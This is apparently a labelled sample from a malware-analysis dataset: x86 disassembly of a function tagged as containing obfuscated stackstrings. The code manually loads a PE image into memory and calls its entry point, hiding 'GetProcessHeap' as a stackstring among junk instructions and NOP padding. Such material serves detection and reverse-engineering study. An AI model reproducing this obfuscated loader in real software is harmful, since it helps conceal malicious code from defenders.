Function at 0x409510
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x416b70
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov dword [ebp - 0x10], esp
push str.HeapAlloc
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x20], eax
nop
nop
nop
push str.VirtualAlloc
push str.kernel32.dll
call esi
push eax
call edi
mov dword [ebp - 0x24], eax
nop
nop
nop
nop
nop
nop
nop
mov al, 0x65
mov cl, 0x73
mov byte [ebp - 0x37], al
mov byte [ebp - 0x31], al
mov byte [ebp - 0x2d], al
lea eax, [ebp - 0x38]
push eax
push str.kernel32.dll
mov byte [ebp - 0x38], 0x47
mov byte [ebp - 0x36], 0x74
mov byte [ebp - 0x35], 0x50
mov byte [ebp - 0x34], 0x72
mov byte [ebp - 0x33], 0x6f
mov byte [ebp - 0x32], 0x63
mov byte [ebp - 0x30], cl
mov byte [ebp - 0x2f], cl
mov byte [ebp - 0x2e], 0x48
mov byte [ebp - 0x2c], 0x61
mov byte [ebp - 0x2b], 0x70
mov byte [ebp - 0x2a], 0
call esi
push eax
call edi
mov dword [ebp - 0x18], eax
inc eax
inc ebx
sub ebx, 2
dec eax
inc ebx
inc eax
inc ebx
sub ebx, 2
dec eax
inc ebx
lea ecx, [ebp - 0x1c]
push 0x41d160
push ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0x48
call sub.MSVCRT.dll__CxxThrowException
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp + 8]
cmp word [eax], 0x5a4d
je 0x40961d
inc eax
inc ebx
sub ebx, 2
dec eax
inc ebx
mov eax, 0x40960a
ret
mov edi, dword [eax + 0x3c]
add edi, eax
mov dword [ebp - 0x28], edi
cmp dword [edi], 0x4550
je 0x409646
mov eax, 0x409633
ret
inc eax
inc ebx
sub ebx, 2
dec eax
inc ebx
mov edx, dword [edi + 0x50]
mov eax, dword [edi + 0x34]
push 4
push 0x2000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov dword [ebp - 0x14], esi
inc eax
inc ebx
sub ebx, 2
dec eax
inc ebx
test esi, esi
jne 0x4096a7
mov ecx, dword [edi + 0x50]
push 4
push 0x2000
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov dword [ebp - 0x14], eax
jne 0x4096a4
mov eax, 0x409691
ret
mov esi, dword [ebp - 0x14]
inc eax
inc ebx
sub ebx, 2
dec eax
inc ebx
xor ebx, ebx
push 0x14
push ebx
call dword [ebp - 0x18]
push eax
call dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
mov dword [eax + 4], esi
mov dword [eax + 0xc], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0x10], ebx
nop
nop
mov edx, dword [edi + 0x50]
push 4
push 0x1000
push edx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
inc eax
inc ebx
sub ebx, 2
dec eax
inc ebx
mov eax, dword [edi + 0x54]
push 4
push 0x1000
push eax
push esi
call dword [ebp - 0x24]
nop
nop
nop
nop
nop
mov esi, dword [ebp + 8]
mov edx, dword [edi + 0x54]
mov edi, eax
mov ecx, dword [esi + 0x3c]
add ecx, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp + 8]
mov esi, dword [ebp - 0x18]
mov edx, dword [ecx + 0x3c]
add edx, eax
mov dword [esi], edx
nop
nop
nop
mov eax, dword [esi]
mov edi, dword [ebp - 0x14]
mov dword [eax + 0x34], edi
inc eax
inc ebx
sub ebx, 2
dec eax
inc ebx
mov ebx, dword [ebp - 0x28]
push esi
push ebx
push ecx
call fcn.004097e0
add esp, 0xc
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebx + 0x34]
mov eax, edi
sub eax, ecx
je 0x409759
push eax
push esi
call fcn.00409ab0
add esp, 8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.00409b70
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.00409950
add esp, 8
inc eax
inc ebx
sub ebx, 2
dec eax
inc ebx
mov ecx, dword [esi]
mov eax, dword [ecx + 0x28]
test eax, eax
je 0x4097bf
inc eax
inc ebx
sub ebx, 2
dec eax
inc ebx
mov edx, dword [esi]
push 0
push 1
push edi
mov eax, dword [edx + 0x28]
add eax, edi
call eax
inc eax
inc ebx
sub ebx, 2
dec eax
inc ebx
mov dword [esi + 0x10], 1
mov eax, 0x4097c5
ret